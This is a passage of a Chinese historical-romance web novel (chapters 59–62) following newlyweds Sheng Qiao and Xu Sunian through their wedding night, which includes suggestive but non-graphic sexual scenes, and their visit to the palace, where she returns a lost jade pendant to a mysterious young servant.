他不着痕迹地勾了勾唇角,然后坐起身,对着门口立着不动的盛乔招手,唤道:“阿乔,过来。”
第59章 荔枝阿乔,你教教我,好不好
盛乔正走神,忽然听到徐肃年叫自己,下意识往前快走了几步,等快要走到床边的时候又反应过来,连忙将脚步放慢。
她心里紧张,又不愿露怯,忘了看脚下的路,走到床边险些被脚踏绊倒。
怕盛乔新婚之夜会害羞,因此徐肃年方才沐浴出来之后,便叫人将灯灭了大半,只有龙凤双烛仍在窗边闪烁,照亮了这一方小小的天地。
只是光影模糊,徐肃年也看不清盛乔的表情,见她慢吞吞走过来,还差点摔倒在脚踏前,不由得被她吓了一跳。
他连忙身上将她扶住,环着她的细腰让她在床边坐好,低声问道:“怎么好好走个路也能摔倒,是不是今天太累了?”
盛乔总不能把真实的原因说出来,只好附和着点了点头,“是有些累了。”
说这话时,她的声音很低,脸上的表情也不太好看,徐肃年看着她半晌,的确瞧出了她眉目间的倦意,伸手给她揉了揉刚刚磕到的脚腕,然后问:“要不要找大夫来瞧瞧?”
新婚之夜找大夫过来,若是传出去,岂不是叫人笑话。
何况盛乔根本没什么事,不过是心不在焉地在脚踏上撞了一下。
她摇了摇头,推开徐肃年握在她脚踝上的手,小声道:“我没事。”
徐肃年方才也替她检查过伤处,的确没什么事,连红肿都没有。他依言松开手,然后说:“既然累了,就早些睡吧。”
说着,他挪开位置让盛乔爬到床榻里侧,然后就要去熄灯。
盛乔原本都要脱衣服了,看到徐肃年要去灭灯的动作,不由得有些惊讶,连忙问:“这么早就关灯了吗?”
徐肃年一时没明白她的意思,说道:“已经不早了,明日还要进宫向皇上谢恩。而且你不是累了么,还不睡?”
盛乔当然也想就这么睡过去,可是阿娘对她说过,如果不做那件事,她和徐肃年就不算是真正的夫妻。
她们都已经成了婚,拜过天地了,那么那么多的礼仪流程都走完了,怎么能把最后一步省略呢。
何况一鼓作气,再而衰,三而竭。盛乔很怕自己今天不做,日后就更想拖延逃避,反正阿娘说了,只疼那么一下,还不如早死早超生呢。
这么想着,盛乔更是下定了决心,她拉着徐肃年的手臂,晃了晃,说:“我们不做,那件事吗……”
想到那两本羞人的画册,盛乔实在有些难为情,后半句话说不出口,说得含含糊糊的。
徐肃年起先是真的没反应过来,直到回头瞧见了盛乔垂头时羞怯的表情,才总算是回过神来。
从他在洛州第一次碰到盛乔的嘴唇时,他就已经想象过自己与盛乔成婚之后的日子了。
他当然想要完整的得到盛乔,但现在两人已经成亲之后,他反而觉得不急了,毕竟他们来日方长。
尤其盛乔今日还那么累,明日还要入宫叩谢崇安帝赐婚,他也实在不想折腾阿乔,毕竟他现在对自己的自控能力很有自知之明,若是一直忍着也就罢了,可一旦开了头,他可就再也停不下了。
盛乔却不知道徐肃年心里在想什么,以为他是没听懂自己的暗示,于是只好把话再说得明白一些,“夫妻之间,不是有,有那个敦伦之礼吗……”
盛乔强忍着羞意将话说完。
徐肃年当然能看出盛乔的不自在,只是不知他这岳母大人是怎么教导盛乔的,竟让她这么执着,一副不做不许睡觉的模样。
徐肃年的表情有些复杂。
盛乔看不懂他的表情,只见他一直愣愣的,先有些奇怪,而后表情又慢慢变得惊疑不定。
她凑到徐肃年身前,忍不住问道:“徐肃年,你不会不懂这事罢?”
盛乔推己及人,觉得自己先前都不明白,徐肃年根本没比她大几岁,也没成过亲,没准他也是不懂的,即便婚前会有人负责给他讲解这些事,但只看书和画的话,看不懂也很正常。
她不就没看太懂吗?
徐肃年听到她这离谱的质疑,险些没绷住面上都表情。
他恨不得立刻将盛乔捉到身下好好证明一下自己,可当真对上盛乔疑惑的模样后,他又颇为配合地装起傻来,“什么事?”
看他的表情,难道是真的不懂么。
盛乔听了这话一下子就有些慌,“难道,难道婚前没人教过你吗?”
男女有别,她是由母亲教导的,那徐肃年应该是由父亲教导的罢。于是盛乔问:“宜春侯他,他在婚前没有对你说些说什么吗?”
徐肃年恰到好处地表露出几分无辜,轻轻叹了口气,说:“我与我父亲关系并不亲近。”
“什么……”
盛乔有些惊讶,转而回想起和徐肃年认识之后的这段日子,好像的确没听到过徐肃年提到过自己的父亲。
若是关系疏远,或许是宜春侯将这件事忘了也不是没有可能。
盛乔的想象力很丰富,同情心又极其容易泛滥,她一想到自己成婚之前,有阿爹阿娘无微不至的照顾着,还有几个姐姐兄长的关心和陪伴,所有的紧张和不安都被抹去了。
但是徐肃年呢,和父亲之间关系疏远,母亲又碍于男女大防不能太过亲近,底下两个弟弟更是不靠谱,最后才导致他连成婚这样的大事,都没有完全搞清楚。
盛乔不由得觉得他有些可怜,同时还有些不知所措。
阿娘对她说,这件事是要夫妻二人一起做的,可现在徐肃年根本就不会,那要如何完成敦伦之礼呢。
她发愁地问:“那,那怎么办?”
一向能帮她出主意的徐肃年哑了火,没了声。
盛乔只好自力更生,自己想办法。她思索半天,总算想到一个绝佳的好主意,说:“这偌大的侯府,定然有不少成了亲的人,你找个人过来,让他教教你。”
徐肃年看着她的表情,认真的握住她的手,面上带着几分不可置信的表情,问道:“你要别人教我?”
“要不然怎么办?”盛乔觉得他这话问得奇怪。
徐肃年低声道:“我好歹是皇帝亲封的端阳侯,是这座宅子的主人,若是在新婚之夜问别人这种事,传出去岂不是贻笑大方,再也没有了威严?”
他微微垂下眼,薄唇也轻轻抿了一下。
从盛乔的角度看过去,正看到他半低着头的模样,看着有些可怜。
可是,不找别人问,又该怎么办呢?
盛乔想不出办法来了,脸上的表情是实打实的纠结。
徐肃年压下眼底的笑意,在她身边凑得更近,低声求道:“阿乔,你教教我,好不好?”
这这这,这怎么能行?
盛乔下意识就要拒绝,可是一抬头正看到徐肃年俊秀明朗的眼睛,她顿时有些犹豫了。
其实徐肃年说得很有道理,这种事怎么能拿出去问呢?
何况他难得示弱有求于自己,盛乔觉得自己不应该推脱,而是应该好好把握住机会才是。
像是给自己鼓劲似的,盛乔点了点头,然后说:“那,那好罢。”
徐肃年微不可查地勾了勾唇角,垂着手,一副老实的模样,“好,那阿乔你教我,我们到底要做什么。”
盛乔虽然也是一知半解的,但幸而她当时很听话,将阿娘带给她的两本书都翻完了,此时虽然没有经验,但嘴上说说却是不难。
于是,她将郑夫人那日教给她的一番话向徐肃年大致地复述了一遍。
说完,她期待地看向他,问道:“你懂了吗?”
徐肃年迎着她的目光,很给面子的点了点头。
看来她在洛州那几个月的书学先生也不是白做的,如今已经很有当先生的本事了。
盛乔如释重负地松了口气,不料徐肃年却又紧跟着说了一句,“听是听懂的,可具体怎么做,却还是不明白。”
盛乔挠了挠头,老实地坦白,“其实,我也不是很明白。”
徐肃年说:“那就按照你方才说的,一步一步来如何?”
盛乔没明白他的意思,“怎么一步一步来。”
徐肃年假装沉思半晌,然后说道:“你方才不是说,夫妻二人在做这件事的时候,应当是坦诚相见吗?”
“那么第一步,自然就是先将衣服脱掉。”
“脱,脱衣服……”
说实在的,虽然已经举行了婚礼,可是盛乔还没有完全适应两人之间全新的关系,让她就这么当着徐肃年的面脱衣服,她实在做不到。
她想要拒绝,偏偏徐肃年还一副坦率好学的样子,“阿乔,我说得应当没错罢。”
盛乔只好点头。
两人方才是并排坐着,徐肃年靠外挨着床沿,盛乔则是贴在床榻内侧。
这会儿徐肃年说完,便拉着盛乔的手,将她抱到自己的跟前,上手就要去解她的扣子。
盛乔连忙按住他的手,“我,我自己来。”
徐肃年却振振有词,“既然是夫妻二人要一同做的事,自然要互相帮忙。”
他
轻轻勾住盛乔领口的珍珠扣,说:“让我帮你,好不好?”
床边的帐子没有落下,温暖的烛光照在床上,打在徐肃年身上,将他本就俊美的五官又镀上一层金光,看上去比平日多了几分优雅和矜贵,更让人着迷了。
盛乔比他矮,仰头看着他的脸,看着他温柔坦荡的眼睛,像是被他蛊惑了似的,当真晕乎乎的点头。
徐肃年轻勾了勾唇,然后动作利落地将盛乔身上的扣子都解开。
他这是第一次脱小娘子的衣裳,但动作却异常熟练,等鲜红的中衣脱落,盛乔便如被剥了壳的荔枝,莹润又可口。
盛乔强忍着没有遮挡自己,然后问徐肃年,“该进行下一步了罢。”
她根本没发现自己的主动权又被抢走了,原本是她来教徐肃年的,这会儿却又忍不住问他该怎么做了。
徐肃年并不急,他的两只眼睛紧紧盯着盛乔,如同猎食的野兽,眼底填满了强烈的占有欲。
可是说出来的话却极其克制,“急什么?现在只有小娘子完成了第一步,我还穿着衣裳呢,难道小娘子不帮我脱么?”
盛乔被他这话惊到了,“我,我也要帮你脱吗?”
可她现在,可是什么都没……
她试图找借口,“我有些冷。”
徐肃年将盛乔直接抱坐到自己的大腿上,然后拉下厚厚的帏帐,彻底将这颗姓盛名乔的小荔枝圈到了自己的领地。
盛乔不自在地动了动,却被他修长有力的大手按住。
徐肃年一边紧紧圈抱着她,一边拉着盛乔的手往前,一直伸到自己的胸口里,偏偏嘴上又十分客气。
“劳烦夫人帮忙了。”
第60章 洞房言传身教
床这个东西,一直让盛乔很有安全感。
她小时候有一阵很爱看鬼怪小说,那些书多是京中落第的举子写的,情节描绘分外真实,盛乔经常看着看着就把自己吓到,偏偏越怕越想看,每当这个时候,她就会把自己缩进床铺最深处。
仿佛这样就能不怕了似的。
此时此刻,盛乔坐在柔软大床上,被徐肃年紧紧搂在怀里,能感觉到他的体温,周围是层层垂落的帷幔,像是将她包裹其中。
盛乔有些害羞,可又明确能感觉到自己是被包裹的,是安全的。
因此在徐肃年来拉她的手腕时,她没有挣扎,乖乖地由着他动作。
男人的衣服和女人的不太一样,盛乔从来没做过这种事,心下又有些紧张,解第一颗扣子的时候,不知为何怎么都解不开。
徐肃年并未催促,却也没有伸手帮她。
但是盛乔娇气,抬手抬了半天觉得手酸,有点不想帮他了,将要伸回手时,却感觉握在自己肩头的手指动了动。
覆着一层薄茧的手指在她光滑的皮肤上轻轻摩挲了几下。
盛乔觉得痒,想要躲开,却被人握得更紧。
徐肃年一手紧紧捉着她的腰,将人圈在自己的怀里不让她动。
盛乔试图挣扎,徐肃年却说:“不是冷吗?我帮你暖暖。”
盛乔摇头,“我不冷了……”
“不冷了为什么手抖。”
其实有些话明明是心照不宣的,可是徐肃年偏要把话问出来,盛乔每次听到都不知道要说什么,只好愤愤地瞪他一眼,然后继续她的解扣子大业。
好容易将他的扣子全部解开,艳色的中衣顺着男人坚实的肩臂滑落,盛乔只看了一眼就立刻偏过头去。
徐肃年却不许她躲,托着她的下巴让她抬头看着自己,“夫人不是还要教我么?这才第一步,怎么就怯了。”
方才徐肃年就叫了她一声夫人,但是盛乔当时全部心思都放在脱掉的衣服上,根本没注意他称呼的变化。
现下又听到,盛乔总算注意到了,正式的叫人不好意思。可她没工夫害羞,因为所有的心思都在徐肃年的后半句话上。
她怎么会怯……
徐肃年难得有什么东西不会,她怎么能放过这样的好机会,让自己处于下风。
盛乔出身高贵,性子也骄矜,平时看着就知道是个大胆不服输的性子,最是受不了激将法。
有什么好害羞的。
盛乔想,不过是所有成了婚的男女都会做的事罢了。
盛乔一边想着,一边暗暗给自己鼓劲儿,瞪眼道:“谁怯了,我是,是怕你不好意思。”
徐肃年忍俊不禁,强压下唇角的弧度,然后附和道:“好,那第二步应该做什么?”
其实盛乔根本不知道。那天郑夫人对她讲的话云里雾里的,她根本没有怎么听懂,只记得什么阴阳调和了。
她竭力回忆了一下看过的那两本画册,决定自力更生地尝试一下。
于是她伸手去推徐肃年的肩膀,说:“你躺下……”
命令般的语气,徐肃年挑了挑眉,当真听话地松开了盛乔的腰,然后重新躺回了床上。
盛乔原本是坐在徐肃年的膝盖上,等徐肃年躺下之后,她先从旁拉了一床被子过来,将自己蒙头裹住,只露出了一张巴掌大的小脸。
然后她一手抓紧被子的两端,一手撑在床上,学着曾经看过的动作,慢慢往前爬。
纵然徐肃年满腹坏水,也没想到盛乔会做出这个动作来,他先是一愣,而后看着她爬到自己腰腹位置,原本想要起身的动作生生止住了。
他想看盛乔在上面,却忘了她没有经验,根本找不好位置,裹着被子蹭来蹭去。
徐肃年强忍着要爆炸的欲望,克制着不让自己起身,他想看盛乔主动开口。
果然,没过多久,盛乔就沮丧地往前一趴。
她大约是忘了自己没穿衣裳,团软毫不吝啬地压在徐肃年胸口,自己先被吓了一跳。
而后又被徐肃年滚烫的身体惊到了,她毫无章法地在他胸口乱摸一通,然后又要伸手去探他额头的温度,“你身上怎么这么热,是不是冻到了……”
她明明在做那样的事,神情却极度天真。
徐肃年觉得自己脑海中最后一根名为理智的弦在渐渐崩坏。他几乎就要克制不住自己的动作,想要翻身将盛乔压在榻上。
可他最终没有那么做,只是哑着声音开口,“床帐太厚,有些热。”
听到这个解释,盛乔立刻不说话了,这厚厚的帏帐是她的最后一层保护,她可不想掀开,总觉得外面会有人看到似的。
徐肃年自然明白她心里在想什么,微微勾了勾唇,然后将话题重新扯回来,“阿乔,你怎么不继续了?”
盛乔觉得自己连按图索骥都不会,心里有些颓丧,可她心里是一万分地不想露怯的,小小纠结了一下,她对徐肃年说道:“我太累了……”
徐肃年等的就是她这句话,脑子的里的最后一根弦彻底崩断,可他的动作仍然是冷静、克制的。
他坐起身,然后将盛乔抱回床上,翻身覆上去。
两人的距离骤然被缩短,盛乔漂亮明媚的五官被放大,几乎填满了徐肃年的全部视线。
也不知是热的还是羞的,盛乔的额角还带着汗,眼尾也泛着淡淡的红,鲜艳的颜色为她本就明媚的五官更添了几分妖娆妩媚。
徐肃年缓缓滚了下喉结。
盛乔犹不知危险来临,清澈漂亮的眼睛盯着徐肃年不放,她轻轻眨眼,浓密的睫毛就像蝴蝶扇动翅膀,正好在徐肃年的心尖刮过。
徐肃年一手握着她,一手干脆利落地将裹紧的被子一点点掀开。
白净娇嫩的荔枝再度呈现在眼前,他明明可以一口吞入腹中,可他偏偏不那么做。
他低头,埋在盛乔莹润的肩窝,小声道:“阿乔,我该做什么,继续教我。”
……
洞房花烛夜,自然是要有人在门口守着的。
成婚之前,徐肃年就担心盛乔会不习惯外人伺候,特意没往这嘉禾轩里安排婢女,除了外头几个洒扫院子的,现如今只有琥珀和琉璃几个陪嫁的婢女。
今日轮守的也正是她们两个。
两个人虽然年纪都比盛乔大,但是也都没有成过亲,对于新婚之夜也不过了解个大概。她们也怕自家小娘子会不懂,在外头守着一步不敢离开,生怕小娘子会有事叫他们。
可是她家小娘子的洞房花烛夜实在比她们想象中的更平静,平静到琥珀等人都怀疑娘子和姑爷有没有圆房。
幸而这样的平静并没有维持太久,屋子里很快传来了低低的说话声,只不过有帐子挡着,听不太真切。
那说话声不知过了多久才停,琥珀坐在阶上都有些打瞌睡了,忽听的里头传来了徐肃年的吩咐声,“来人,烧几壶热水送进来。”
其实根本不用徐肃年吩咐,要有嬷嬷们告诉她们,热水都是提前备着的。
琥珀和琉璃听到这话对视一眼,心里都松了口气,然后立刻去小厨房拎热水。
进去之后,琥珀和琉璃也不敢抬头多看,琉璃带人将热水倒进浴桶里,琥珀则直接进了内室,低眉敛目的说:“姑爷,奴婢们多烧了几壶 ,要不要伺候您也……”
琥珀的话还没说完,就被徐肃年打断了,“把水备好就下去罢。时辰不早了,后半夜不用守了,都去睡罢。”
琥珀听到这话一惊,“奴婢们伺候小娘子沐浴……”
徐肃年却说:“有我在,你们都下去。”
琥珀此时说话是立在门口不远的位置,隔着一扇屏风根本看不见里面的情况,且那宽大拔步床四周的帐子都层层落了下来,除非直接伸手去掀,否则根本不可能看到里面的光景。
她进来这许久,盛乔别说出声了,连面都没有露。琥珀到底是打小跟着盛乔长大的,看着徐肃年那高大板正的身形,琥珀到底是有些担心的,怕她身娇体弱承受不住。
这会儿不见盛乔吭声,琥珀心里更是不放心。
徐肃年如何不知她心里在想什么,但也不屑于和一个奴婢解释长短,只冷冷的瞥了她一眼。
琥珀如梦初醒,连忙躬身退下去。
等琥珀离开之后,徐肃年总算将床前帷幔拉开了一些,昏沉倒在枕头上的盛乔露了出来。
徐肃年看着她虚弱的模样,轻笑着摇了摇头,低声哄道:“琥珀她们都走了,还不睁眼?”
盛乔当然没有真的睡着,只是方才不小心呻。吟出声后,觉得自己没脸再见人了,可又根本制止不住初学且好学的徐肃年,干脆直接偏头装睡。
小时候不想读书,阿娘来叫她起床去学堂,她不想去,总是用这个办法装睡或是装病,因此这一招使得相当熟练。
她自以为自己装的很像,不料徐肃年竟然一眼就将她识破了。
到底要不要醒呢?
盛乔心里纠结。
而就在这功夫,徐肃年已经披上了衣裳,然后站起身将她腾空抱了起来。
这下盛乔就算想装也装不下去了,她枕在徐肃年的怀里假装迷迷糊糊地醒来,看着徐肃年问道:“你,你这是……”
徐肃年看她一眼,也没有揭穿,“你身上脏了,我先抱你去洗洗。”
听到这话,盛乔一下子想到了方才的场景——
明明是夫妻圆房之事,却不知为何像是在开学授课,徐肃年当真是半点不懂,每一步都要她来教。
她含含糊糊地说了,徐肃年又说不懂,三番两次不解其意,磨蹭着不动。
盛乔被不上不下地吊着,只能尽力说的详细些,当真一步一步地对他言传身教。
她说一句,他动一下。
起先她只觉羞耻,但不知过了多久,她似乎也逐渐沉沦其中。
阿娘说的没错,这件事的确只是疼一下。但有一点却没有说对,阿娘说时间不会太长,却忘了徐肃年是自小练武的身子,直到盛乔累得去推他肩膀,他仍旧像个没事人似的,只有额角时不时滴落的汗珠告诉她,他也沉浸其中。
想到这些,盛乔不自觉脸红了,他想要从徐肃年的怀里出来,却被他抱得更紧。
反正也知道挣不过,干脆不再挣扎了,盛乔搂着他的脖子由着他将自己抱进浴桶。
盛乔说:“你出去罢,我自己能行。”
可话刚说完,却发现徐肃年根本没有帮她洗的意思,因为他自己也脱了衣服走进了浴桶。
“你……”盛乔感觉到危险,有些慌,“你还想做什么?”
徐肃年握住她的小腿,无辜地说:“刚刚学会的本事,当然要勤加练习了。”【魔蝎小说 mo xie xs .c om】
60-70
第61章 进宫我会怀孕吗?
事实证明徐肃年对自己很有自知之明,一个饿了许久的人忽然尝到了美味,的确很难停下进食的动作。
满池春水溢出大半,徐肃年将盛乔圈在桶壁和自己的胸膛之间,那小小的一方天地,她无法逃脱,只能随着水波上上下下地浮动。
可怜的是,分明是徐肃年让她陷入此等境地的,现下能抓住的,也只有徐肃年。
徐肃年环着她的腰背,一下下几乎要将她撞碎在怀中,盛乔口中不住地拒绝,让他离开,两手却紧紧搂着他的脖子。
小娘子一向黏人,此时两人紧密相连,徐肃年更能感受到盛乔对自己的需要。
他不愿放开,更不舍得放开。
直到盛乔忽然哭着问开口,“徐,徐肃年……我会怀孕吗?”
徐肃年微微一愣,“什么?”
盛乔声音里的哭腔浓得化不开,她伏在徐肃年的肩头,泣声开口:“如果怀孕了,以后就不用再来了。”
她还记得阿娘告诉她,圆房之事,不仅是为了成就夫妻之实,也是为了能够传宗接代,生儿育女。
殊不知这话就像一盆冷水泼到了徐肃年的身上,将他浇了个彻彻底底。
徐肃年一下子僵住,不敢相信地问:“你……你不喜欢?”
盛乔觉得这话好奇怪,这种事又羞又累,她怎么会喜欢。
不必她回答,徐肃年已经从她的眼睛里看到了答案,可她方才分明是沉浸其中的,怎么会不喜欢。
徐肃年心头像是被什么东西堵住了似的,闷闷的说不出话来。
半晌,他从盛乔身上退出来,“明日还要进宫谢恩,我抱你回去睡。”
盛乔明显觉得这人的情绪不对,但此时她也顾不上想那么多了,她觉得自己浑身酸累得躺在浴桶里都能睡过去。
徐肃年帮她清洗之后,拿干净的帕子将她裹住,然后将她先抱回了床上。
大约是徐肃年的怀抱太过温暖,盛乔不知什么时候就睡过去了。
这一觉直接睡到第二天早上,盛乔朦朦胧胧睁眼时,徐肃年已经站在屏风前穿衣裳了。
她一时还没适应新的身份,盯着他挺拔的身形还有些晃神。
徐肃年注意到她的小动作,一边系好最后一颗扣子,一边走到床边,问:“醒了?”
盛乔这时已经回过神来了,想到昨日的事,她还有些不好意思,撑着身子坐起来,腼腆地点了点头。
徐肃年实在很少见到她这幅模样,勾唇笑了笑,然后说:“快些起来罢,一会儿还要进宫,我叫琥珀她们进来伺候你起床更衣。”
盛乔点点头。
徐肃年揉了揉她的脑袋,然后起身走了出去。
琥珀带着四个婢女进屋来伺候盛乔起床梳洗。
今日要进宫向帝后谢恩,衣衫首饰都是早早准备好的,不能有半分马虎。琥珀亲自给盛乔挽发,然后又从上到下给她检查了一圈,才道:“早膳已经备好了,小娘子先去用膳罢?”
盛乔身上还有些发酸,扶着琥珀站起身,问道:“徐肃年呢?”
琥珀指了指外头,盛乔走出去一看,原来徐肃年正在外间看书,见盛乔出来了,立刻将书册扔到一旁,然后说道:“收拾好了?先用膳罢。”
徐肃年和盛乔在洛州朝夕相处了那几个月,对盛乔的吃食喜好最是了解不过,今天的早膳自然也都是备的盛乔喜欢的。
她笑了笑,然后走到徐肃年身边坐下。
方才刚醒没注意看,这会儿在他身边,才发现他的头发竟然是湿的,想来是晨起还沐浴了。
盛乔惊讶道:“你几时起的?”
徐肃年说:“就比你早一会儿而已。”
盛乔才不信,转头看向正在给二人布菜的琉璃,琉璃说:“侯爷已经在院子里练了半天的剑了,出了许多汗,才去沐浴的。”
如今已经十月了,天气逐渐转凉,能出那么多汗沐浴,想必练了得有小半个时辰。
现在都已经够早了,徐肃年提前又是练剑又是沐浴,岂不是天还没亮就要起来了?
盛乔忍不住问:“你起那么早做什么?”
其实徐肃年不是起得早,是几乎整晚都没睡。
他只要一闭上眼,就会想到盛乔低低哭求的模样,既怜惜,又懊恼,还有些不为人知的难堪。
他以为盛乔会喜欢,没想到盛乔根本不想再做第二次。
他的确动作手法生疏了些,可也不至于那么叫人难以忍受罢。
他辗转反侧半夜,只恨不得立刻埋头苦学,勤恳磨炼技艺,可是这等事又能和谁学,能与他一起学的小娘子还沉沉睡着。
他真是满腔心思无处发泄。
又因为一直在想着这个事,身子又不知不觉地热了起来。这下就更睡不着了,干脆早早爬起来练剑,将体内地燥热都发泄出去。
不过这话他当然不会对盛乔说,于是只道:“虽然你我已经成婚了,可我还像在梦中似的,觉得不真实,睡不着,于是就早早起来了。”
原来徐肃年和自己竟有相同的感受。
盛乔听到这话完全没有怀疑,点了点头,然后亲自给他盛了一碗鸡丝小米粥,说:“听我二哥说,你大婚之后有十天的休沐,等我们进宫谢恩回来,你再好好补一觉。”
徐肃年也没再说别的,顺从点了点头,答应道:“好。”
因为两人的婚事是皇帝亲自赐下的,因此成婚之后,必须要携手向陛下谢恩。
不过郑夫人曾告诉阿乔,虽然是要进宫谢恩,不过皇帝每年也不止赏下这一份恩典,因此皇帝几乎不会见他们,他们到时候只要在殿外磕个头就是了。
事实证明郑夫人说的没错,盛乔和徐肃年进了宫之后便暂时分开了,一个去玄元殿见皇帝,一个则去后宫拜见皇后,不过两个人都没有见他们,只让他们在殿外磕了三个头。
盛乔在凤仪门前规规矩矩地磕了三个头,口中说着先前嬷嬷教导的那些毫无新意的吉祥话。
凤仪宫的大太监崔怀一直在旁边守着,等盛乔行过礼之后,亲自上前将人扶起来,“夫人,您快起来罢。”
盛乔客气地与他道谢。
崔怀笑着捋了捋拂尘,说:“您和奴婢客气什么呢,等皇后娘娘病愈后,奴婢自会将您的话传达给娘娘的。”
当着外人的面,盛乔一向很规矩,点头道:“如此就劳烦公公了。”
崔怀说:“夫人太客气了,奴婢实在受不起,奴婢叫人送您出宫去罢。”
这后宫盛乔也不是第一次来,认得路,而且她不喜欢和外人相处太久,会觉得不自在。
于是婉拒了崔怀的话,说道:“不必劳烦公公了,我认得路,自己走就行。”
原本皇后是有心将盛乔嫁给太子,先前才会派崔怀到燕国公府门前亲迎,可如今想法落空,崔怀也没必要再巴结她了。听到盛乔这推拒的话,他也没再说什么,又揖了个礼,便直接转身回凤仪宫了。
盛乔并未注意到他态度的变化,或者说,她根本就不在意这些。
没人跟着,她更自在。
徐肃年是去玄元殿向陛下谢恩,玄元殿离着后宫不远,从凤仪宫出去,绕过御花园,再穿过一条狭长的永巷,就能看到玄元殿的广场了。
方才徐肃年离开前,就与她约定在玄元殿旁边的中信门见面。
盛乔扶着琥珀的手慢慢往中信门的方向走,走到御花园的石子路时,她随意一瞥,忽然看到不远处的花丛上挂着什么东西。
盛乔走过去一看,发现那竟然是一块镂空玉佩。
上面刻着仙鹤松柏,看图案应当是宫里哪位贵人佩戴的,可奇怪的是那玉质并不算好,虽然是羊脂玉,却白中泛青,还有明显的黑点和杂质,摸上去也不柔滑。
盛乔只一看就知道这是次等玉。
难道是哪个下人身上带的?
这玉佩对盛乔开始并不值钱,但是对于宫里伺候的宫人来说,想来十分贵重,还有可能是主子赏下的赏赐。
盛乔握着那枚玉佩翻来覆去的看了看,然后对琥珀说:“看来咱们还得回凤仪宫一趟,把这枚玉佩交给皇后娘娘。”
琥珀跟在盛乔身边,也算是穿金戴银,自然也能看出这枚玉佩的质地不好,她想到方才凤仪宫大门紧闭的样子,不由得劝道:“小娘子,这玉佩一看就不是什么好物件,如此回去再劳烦一趟皇后娘娘,只怕不值当。”
盛乔听着也觉得颇有道理,想了想,说:“这御花园定然也有管事的太监和宫女,干脆直接交给他们好了。”
琥珀知道盛乔的身子还不太好,来回一番走动只怕经不住,于是说:“那小娘子在这儿等等,奴婢自个儿去找。”
盛乔也没逞强非要去,点了点头,吩咐道:“快去罢。”
因着是进宫,盛乔身边就只带了一个琥珀随行,琥珀离开后,便只剩下盛乔一个人了。
不过这毕竟是在皇宫,不会遇到危险,盛乔并不害怕,左右看了看,干脆绕着这附近的花圃赏起花来。
其实御花园种植的花树都不算上佳珍品,可是不同花型之间的排列摆放很有说法,盛乔原本就打算重新修缮一下府里的花园,此时看到御花园精妙的设计,不由得看的入了神,连身后传来脚步声都没发现。
等她看完这边的,想转身去看另一侧的,一转头忽然看到不远处立着个半大的少年,险些被吓得跌倒。
“你……”
盛乔盯着眼前这个半大的孩子,见他五官清秀漂亮,眉眼之间还有些隐隐的熟悉感。
可到底是哪熟悉,盛乔也说不出来。
而且盛乔确定自己以前从未见过这个人,根本不知他的身份。
看模样长相像个主子,可是穿衣打扮又十分破旧。
盛乔不知他的身份,也不知是不是要行礼。正纠结着,忽听那少年开了口,“你是谁?”
盛乔犹豫了一下,还是如实将身份告知,“我是燕国公府的三娘子。”
说完又想到自己已经成婚,忙又补充了一句,“也是端阳侯的新婚妻子。”
“端阳侯……”少年听到这三个字,仿佛陷入了深深的茫然。
看他的反应,似乎不知道端阳侯是谁。那应当不是什么皇子皇孙了?
盛乔忍不住问:“你是谁?”
少年却未答,漂亮的眼睛垂了垂,然后指着盛乔手里的玉佩,说:“那是我的。”
盛乔一愣,而后立刻将玉佩拿出来,“是你丢的?”
少年低头敛目,小声道:“上午我在这儿打扫甬路的时候,不小心丢的……”
打扫甬路,看来是个小太监了。这可怜的孩子,刚这么大点,就被送进宫了。
盛乔有些心软,却没立刻把玉佩给他,而是又问他这玉佩的样子,少年一一回答,甚至连玉佩上什么位置有个黑点都说得一清二楚。
盛乔再没什么怀疑的了,将玉佩还给他。
少年很有礼貌,乖乖朝她道谢:“谢谢姐姐。”
在家里,盛乔一直都是妹妹,难得有人会叫他姐姐,她笑了笑,然后情不自禁地揉了揉那小孩子的头,“快去罢,别叫你主子瞧见了,只怕会骂你的。”
少年朝她微微一笑,露出一颗调皮的虎牙,转身跑了。
没多久,琥珀也带了御花园的管事太监过来,“奴婢见过夫人。”
他询问玉佩在哪,盛乔也没说给了谁,只说是个路过的宫人丢的,已经还给了他。
解决完这件事,盛乔带着琥珀离开了御花园。
穿过永巷就能看到中信门,徐肃年已经在哪等了许久,见她姗姗来迟,忙迎上前问:“怎么这么慢,难不成是皇后娘娘为难你了?”
盛乔摇了摇头,说:“方才在御花园里捡到了一枚玉佩,耽误了点时间。”
“玉佩……”徐肃年微微一愣,
问,“什么玉佩?”
盛乔便将方才发生的事完整告诉了徐肃年,最后又道:“说起来,我一直觉得那小太监长得有点面熟,只是想不起来在哪见过。”
她皱眉思索,没注意到徐肃年微微僵硬的表情。
“一个小太监而已,兴许是你以前进宫的时候,他有幸伺候过你。”
“会吗?”盛乔觉得不太可能,而且很有理由,“他长得那么好看,我如果见过应该有印象的罢。”
听到这话,徐肃年嘴角抽了抽,连忙伸手去揽盛乔的肩膀,故意转开话题,“好了,别想了,回家罢,走了这么久的路,不觉得累吗?”
盛乔的注意力果然很快被吸引走,她狠狠瞪了徐肃年一眼,嗔道:“你还敢提!”
徐肃年又做出那副无辜的表情,“我怎么了?提什么了?”
左右四周无人,琥珀等人又跟在后面,没人能听到他们说话。
盛乔恨恨地锤了徐肃年一下,说道:“还不是都怪你,我方才给皇后娘娘行礼时,险些站不起来,幸亏有琥珀在一旁扶着。”
徐肃年听到这话,脸色不由得一僵。
盛乔这会注意到了,问:“怎么了?”
徐肃年停住步子,然后扶着盛乔的两肩,让她面对着自己,又左右看了看,确定四周无人,这才开口问道:“阿乔,我要问你一个问题……”
盛乔甚少见到他这幅支支吾吾的样子,“怎么了?”
徐肃年也没再犹豫,直接问道:“昨晚那事,你觉得舒不舒服,喜不喜欢?”
这还在皇宫里呢!
他竟然就把这话大喇喇地问了出来,盛乔面皮骤然涨得通红,使劲推了他一下,“你,你说什么呢?”
徐肃年却很认真。
盛乔拗不过他,半晌还是诚实地摇了摇头。
第62章 归宁徐肃年不会不行吧?
自从那天从宫里回来之后,盛乔就觉得徐肃年变得有些怪怪的。
虽然白天一直都对她亲亲抱抱的,哪怕有琥珀她们在,也从来不避嫌,可一到晚上,他就规矩得不行。
两人新婚的第二天晚上,她没忍住爬到他的怀里,想去抱他的腰,结果徐肃年竟然忍着没有抱回来。
这实在有些出乎盛乔的意料。
不过成婚之后要忙的事也还有很多。
他们两个不仅要进宫谢恩,她们还要回公主府叩见徐肃年的父母,此外盛乔还要忙着认识府中的下人,并准备几天后回家的礼物,除了她自己准备的,还有丹宁长公主叫人送来的,她需要一一清点,然后登记成册。
